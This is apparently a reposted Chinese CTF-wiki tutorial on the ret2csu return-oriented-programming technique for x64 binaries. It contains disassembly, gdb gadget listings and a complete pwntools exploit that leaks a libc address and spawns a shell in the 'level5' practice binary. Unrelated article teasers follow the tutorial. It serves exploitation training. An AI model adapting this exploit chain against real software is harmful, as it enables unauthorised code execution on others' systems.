從ctfwiki開始的pwn之旅 5.ret2csu

ret2csu

原理?

在 64 位程序中,函數的前 6 個參數是通過寄存器傳遞的,但是大多數時候,我們很難找到每一個寄存器對應的 gadgets。 這時候,我們可以利用 x64 下的 __libc_csu_init 中的 gadgets。這個函數是用來對 libc 進行初始化操作的,而一般的程序都會調用 libc 函數,所以這個函數一定會存在。我們先來看一下這個函數 (當然,不同版本的這個函數有一定的區別)

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

這里我們可以利用以下幾點

  • 從 0x000000000040061A 一直到結尾,我們可以利用棧溢出構造棧上數據來控制 rbx,rbp,r12,r13,r14,r15 寄存器的數據。
  • 從 0x0000000000400600 到 0x0000000000400609,我們可以將 r13 賦給 rdx, 將 r14 賦給 rsi,將 r15d 賦給 edi(需要注意的是,雖然這里賦給的是 edi,但其實此時 rdi 的高 32 位寄存器值為 0(自行調試),所以其實我們可以控制 rdi 寄存器的值,只不過只能控制低 32 位),而這三個寄存器,也是 x64 函數調用中傳遞的前三個寄存器。此外,如果我們可以合理地控制 r12 與 rbx,那么我們就可以調用我們想要調用的函數。比如說我們可以控制 rbx 為 0,r12 為存儲我們想要調用的函數的地址。
  • 從 0x000000000040060D 到 0x0000000000400614,我們可以控制 rbx 與 rbp 的之間的關系為 rbx+1 = rbp,這樣我們就不會執行 loc_400600,進而可以繼續執行下面的匯編程序。這里我們可以簡單的設置 rbx=0,rbp=1。

示例??

這里我們以蒸米的一步一步學 ROP 之 linux_x64 篇中?level5?為例進行介紹。首先檢查程序的安全保護

?  ret2__libc_csu_init git:(iromise) ? checksec level5Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)

程序為 64 位,開啟了堆棧不可執行保護。

其次,尋找程序的漏洞,可以看出程序中有一個簡單的棧溢出

ssize_t vulnerable_function()
{char buf; // [sp+0h] [bp-80h]@1return read(0, &buf, 0x200uLL);
}

簡單瀏覽下程序,發現程序中既沒有 system 函數地址,也沒有 /bin/sh 字符串,所以兩者都需要我們自己去構造了。

注:這里我嘗試在我本機使用 system 函數來獲取 shell 失敗了,應該是環境變量的問題,所以這里使用的是 execve 來獲取 shell。

基本利用思路如下

  • 利用棧溢出執行 libc_csu_gadgets 獲取 write 函數地址,并使得程序重新執行 main 函數
  • 根據 libcsearcher 獲取對應 libc 版本以及 execve 函數地址
  • 再次利用棧溢出執行 libc_csu_gadgets 向 bss 段寫入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新執行 main 函數。
  • 再次利用棧溢出執行 libc_csu_gadgets 執行 execve('/bin/sh') 獲取 shell。

exp 如下

from pwn import *
from LibcSearcher import LibcSearcher#context.log_level = 'debug'level5 = ELF('./level5')
sh = process('./level5')write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8def csu(rbx, rbp, r12, r13, r14, r15, last):# pop rbx,rbp,r12,r13,r14,r15# rbx should be 0,# rbp should be 1,enable not to jump# r12 should be the function we want to call# rdi=edi=r15d# rsi=r14# rdx=r13payload = 'a' * 0x80 + fakeebppayload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload += p64(csu_front_addr)payload += 'a' * 0x38payload += p64(last)sh.send(payload)sleep(1)sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

思考??

改進??

在上面的時候,我們直接利用了這個通用 gadgets,其輸入的字節長度為 128。但是,并不是所有的程序漏洞都可以讓我們輸入這么長的字節。那么當允許我們輸入的字節數較少的時候,我們該怎么有什么辦法呢?下面給出了幾個方法

改進 1 - 提前控制 rbx 與 rbp?

可以看到在我們之前的利用中,我們利用這兩個寄存器的值的主要是為了滿足 cmp 的條件,并進行跳轉。如果我們可以提前控制這兩個數值,那么我們就可以減少 16 字節,即我們所需的字節數只需要 112。

改進 2 - 多次利用??

其實,改進 1 也算是一種多次利用。我們可以看到我們的 gadgets 是分為兩部分的,那么我們其實可以進行兩次調用來達到的目的,以便于減少一次 gadgets 所需要的字節數。但這里的多次利用需要更加嚴格的條件

  • 漏洞可以被多次觸發
  • 在兩次觸發之間,程序尚未修改 r12-r15 寄存器,這是因為要兩次調用。

當然,有時候我們也會遇到一次性可以讀入大量的字節,但是不允許漏洞再次利用的情況,這時候就需要我們一次性將所有的字節布置好,之后慢慢利用。

gadget?

其實,除了上述這個 gadgets,gcc 默認還會編譯進去一些其它的函數

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

我們也可以嘗試利用其中的一些代碼來進行執行。此外,由于 PC 本身只是將程序的執行地址處的數據傳遞給 CPU,而 CPU 則只是對傳遞來的數據進行解碼,只要解碼成功,就會進行執行。所以我們可以將源程序中一些地址進行偏移從而來獲取我們所想要的指令,只要可以確保程序不崩潰。

需要一說的是,在上面的 libc_csu_init 中我們主要利用了以下寄存器

  • 利用尾部代碼控制了 rbx,rbp,r12,r13,r14,r15。
  • 利用中間部分的代碼控制了 rdx,rsi,edi。

而其實 libc_csu_init 的尾部通過偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,可以看到我們在 0x000000000040061f 處可以控制 rbp 寄存器,在 0x0000000000400621 處可以控制 rsi 寄存器。而如果想要深入地了解這一部分的內容,就要對匯編指令中的每個字段進行更加透徹地理解。如下。

gef?  x/5i 0x000000000040061A0x40061a <__libc_csu_init+90>:   pop    rbx0x40061b <__libc_csu_init+91>:   pop    rbp0x40061c <__libc_csu_init+92>:   pop    r120x40061e <__libc_csu_init+94>:   pop    r130x400620 <__libc_csu_init+96>:   pop    r14
gef?  x/5i 0x000000000040061b0x40061b <__libc_csu_init+91>:   pop    rbp0x40061c <__libc_csu_init+92>:   pop    r120x40061e <__libc_csu_init+94>:   pop    r130x400620 <__libc_csu_init+96>:   pop    r140x400622 <__libc_csu_init+98>:   pop    r15
gef?  x/5i 0x000000000040061A+30x40061d <__libc_csu_init+93>:   pop    rsp0x40061e <__libc_csu_init+94>:   pop    r130x400620 <__libc_csu_init+96>:   pop    r140x400622 <__libc_csu_init+98>:   pop    r150x400624 <__libc_csu_init+100>:  ret
gef?  x/5i 0x000000000040061e0x40061e <__libc_csu_init+94>:   pop    r130x400620 <__libc_csu_init+96>:   pop    r140x400622 <__libc_csu_init+98>:   pop    r150x400624 <__libc_csu_init+100>:  ret0x400625:    nop
gef?  x/5i 0x000000000040061f0x40061f <__libc_csu_init+95>:   pop    rbp0x400620 <__libc_csu_init+96>:   pop    r140x400622 <__libc_csu_init+98>:   pop    r150x400624 <__libc_csu_init+100>:  ret0x400625:    nop
gef?  x/5i 0x00000000004006200x400620 <__libc_csu_init+96>:   pop    r140x400622 <__libc_csu_init+98>:   pop    r150x400624 <__libc_csu_init+100>:  ret0x400625:    nop0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
gef?  x/5i 0x00000000004006210x400621 <__libc_csu_init+97>:   pop    rsi0x400622 <__libc_csu_init+98>:   pop    r150x400624 <__libc_csu_init+100>:  ret0x400625:    nop
gef?  x/5i 0x000000000040061A+90x400623 <__libc_csu_init+99>:   pop    rdi0x400624 <__libc_csu_init+100>:  ret0x400625:    nop0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]0x400630 <__libc_csu_fini>:  repz ret

題目??

  • 2016 XDCTF pwn100
  • 2016 華山杯 SU_PWN

參考閱讀??

  • 一步一步學ROP之linux_x64篇 | WooYun知識庫
  • 一步一步學ROP之gadgets和2free篇 | WooYun知識庫

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/62130.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/62130.shtml
英文地址,請注明出處:http://en.pswp.cn/web/62130.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Ceph對象存儲

Ceph對象存儲1.概念對象存儲&#xff08;Object Storage&#xff09;是一種用于存儲大量非結構化數據的架構模型它使用簡單的HTTP或HTTPS協議進行文件訪問&#xff0c;而不是傳統的文件系統API與傳統的文件系統存儲方式不同&#xff0c;對象存儲不是將數據存儲在目錄或文件夾中…

嵌入式藍橋杯學習拓展 LCD翻轉顯示

通過配置SS和GS兩個標志位&#xff0c;實現掃描方向的切換。 將lcd.c的REG_932X_Init函數進行部分修改。 將LCD_WriteReg(R1, 0x0000);修改為LCD_WriteReg(R1,0x0100); 將LCD_WriteReg(R96, 0x2700); 修改為LCD_WriteReg(R96, 0xA700); void REG_932X_Init1(void) {LCD_Wr…

小程序 —— Day1

組件 — view和scroll-view view 類似于HTML中的div&#xff0c;是一個塊級元素 案例&#xff1a;通過view組件實現頁面的基礎布局 scroll-view 可滾動的視圖區域&#xff0c;用來實現滾動列表效果 案例&#xff1a;實現縱向滾動效果 scroll-x屬性&#xff1a;允許橫向滾動…

git pull error: cannot lock ref

Git: cannot lock ref ‘refs/remotes/origin/feature/xxx’: refs/remotes/origin/feature/xxx/car’ exists; cannot create refs/remotes/origin/feature/xxx git remote prune origin重新整理服務端和本地的關聯關系即可

pubmed關鍵詞搜索技能1:待更新

1&#xff0c;白話變為領域內學術詞&#xff1a; 例如&#xff0c;我想要做蛋白質糖基化修飾以功能&#xff0c;這個領域課題&#xff0c;則 第一性原理&#xff0c;首先是拆分詞匯&#xff1a;糖基化&#xff08;一般比蛋白質、修飾、功能要在title中更常見&#xff0c;或者是…

iPhone手機清理軟件:相冊清理大師推薦

隨著智能手機成為我們日常生活的必需品&#xff0c;手機中的數據日益膨脹&#xff0c;尤其是照片和視頻這類容易積累的文件。對于iPhone用戶來說&#xff0c;管理這些文件&#xff0c;特別是清理相冊變得尤為重要。本文將介紹一款備受推崇的iPhone手機清理軟件——CleanMyPhone…

SpringBoot 開源停車場管理收費系統

一、下載項目文件 下載源碼項目文件口令&#xff1a; 【前端小程序地址】(3.0)&#xff1a;伏脂火器白澤知洞座/~6f8d356LNL~:/【后臺管理地址】(3.0)&#xff1a;伏脂火器仇恨篆洞座/~0f4a356Ks2~:/【崗亭端地址】(3.0)&#xff1a;動作火器智匯堂多好/~dd69356K6r~:/復制口令…

網絡原理之 TCP 協議

目錄 1. TCP 協議格式 2. TCP 原理 (1) 確認應答 (2) 超時重傳 (3) 連接管理 a) 三次握手 b) 四次揮手 (4) 滑動窗口 (5) 流量控制 (6) 擁塞控制 (7) 延時應答 (8) 捎帶應答 3. TCP 特性 4. 異常情況的處理 1) 進程崩潰 2) 主機關機 (正常流程) 3) 主機掉電 (…

STM32使用RCC(Reset Clock Contorl,復位時鐘控制器)配置時鐘以及時鐘樹

RCC主要作用 設置系統時鐘SYSCLK&#xff08;System Clock&#xff09;頻率&#xff1b;設置AHB、APB2、APB1以及各個外設分頻因子&#xff0c;從而設置HCLK、PCLK2、PCLK1以及各個外設的時鐘頻率&#xff1b;控制AHB、APB2、APB1這三條總線時鐘以及每個外設的時鐘開啟&#xf…

安防視頻監控平臺Liveweb視頻匯聚管理系統管理方案

智慧安防監控Liveweb視頻管理平臺能在復雜的網絡環境中&#xff0c;將前端設備統一集中接入與匯聚管理。國標GB28181協議視頻監控/視頻匯聚Liveweb平臺可以提供實時遠程視頻監控、視頻錄像、錄像回放與存儲、告警、語音對講、云臺控制、平臺級聯、磁盤陣列存儲、視頻集中存儲、…

PostGIS的歷史發展

自從 GIS 軟件開發以來&#xff0c;ShapeFile等格式被廣泛用于存儲空間數據&#xff0c;但這些文件格式文件需要特殊的軟件才能讀取和寫入&#xff0c;并發用戶可能會導致數據損壞和速度變慢&#xff0c;并且復雜的問題需要復雜的軟件來處理。 因此&#xff0c;對多用戶的支持、…

【目標跟蹤】AntiUAV600數據集詳細介紹

AntiUAV600數據集的提出是為了適應真實場景&#xff0c;即無人機可能會隨時隨地出現和消失。目前提出的Anti-UAV任務都只是將其看做與跟蹤其他目標一樣的任務&#xff0c;沒有結合現實情況考慮。 論文鏈接&#xff1a;https://arxiv.org/pdf/2306.15767https://arxiv.org/pdf/…

“原批教育家”原批之星魯健的杰作——原批俱樂部

偉大的原批教育家——原批之星&#xff0c;名為魯健&#xff0c;是一位在南京郵電大學智能科學與技術專業中嶄露頭角的杰出人物。他不僅以其卓越的黑客技術和對網絡正義的執著而聞名&#xff0c;更是“遠古四神”之一&#xff0c;以其對原批之力的深刻理解和不同見解&#xff0…

IS-IS三

目錄 點到點鄰接關系建立 ISIS修改鏈路類型 isis ppp-negotiation 3-way only 僅才用三次握手建立鄰居 不向下兼容兩次握手 兩次握手 自身發送的&#xff08;Hello報文&#xff09;IIH 不攜帶 p2p adj TLV 不處理點到點鄰接狀態TLV 三次握手 …

Hadoop生態圈框架部署 偽集群版(四)- Zookeeper單機部署

文章目錄 前言一、Zookeeper單機部署&#xff08;手動部署&#xff09;1. 下載Zookeeper安裝包到Linux2. 解壓zookeeper安裝包3. 配置zookeeper配置文件4. 配置Zookeeper系統環境變量5. 啟動Zookeeper6. 停止Zookeeper在這里插入圖片描述 注意 前言 本文將詳細介紹Zookeeper的…

Spring的三層架構實現原理

Spring三層架構實現 三層架構 controller: 控制層,接受前端發送的請求,對請求進行處理并相應數據;service: 業務邏輯層,處理具體的業務邏輯;dao: 數據訪問層(Data Access Object) 持久層,負責數據訪問操作,包括數據的增、刪、改、查。controller 層: @RestContro…

《Java核心技術I》volatile字段

volatile字段 有多處理器的計算機能夠暫時在寄存器或本地內存緩存中保存內存值&#xff0c;其結果是&#xff0c;運行在不同處理器上的線程可能看到同一個內存位置上有不同的值。編譯器可以改變指令執行的順序以使吞吐量更大化&#xff0c;編譯器不會選擇可能改變代碼語義的順…

基于springboot+vue的車輛違章信息管理系統(全套)

一、系統架構 前端&#xff1a;vue | element-ui | html 后端&#xff1a;springboot | mybatis-plus 環境&#xff1a;jdk1.8 | mysql | maven | nodejs 二、代碼及數據庫 三、功能介紹 01. web端-首頁 02. web端-注冊 03. web端-登錄 04. web端-公告 05. web端-留言…

利用斷開的域管理員RDP會話提權

前言 當域內管理員登錄過攻擊者可控的域內普通機器運維或者排查結束后&#xff0c;退出3389時沒有退出賬號而是直接關掉了遠程桌面&#xff0c;那么會產生哪些風險呢&#xff1f;有些讀者第一個想到的肯定就是抓密碼&#xff0c;但是如果抓不到明文密碼又或者無法pth呢&#x…

【Unity 動畫】設置跟運動(Apply Root)模型跟著動畫產生位移

一、導入的動畫本身必須有跟隨動畫產生位移或者旋轉的效果 二、導入Unity后 在Unity中&#xff0c;根運動&#xff08;Root Motion&#xff09;是指動畫中角色根節點的移動和旋轉。根節點通常是角色的根骨骼&#xff08;Root Bone&#xff09;&#xff0c;它決定了角色的整體…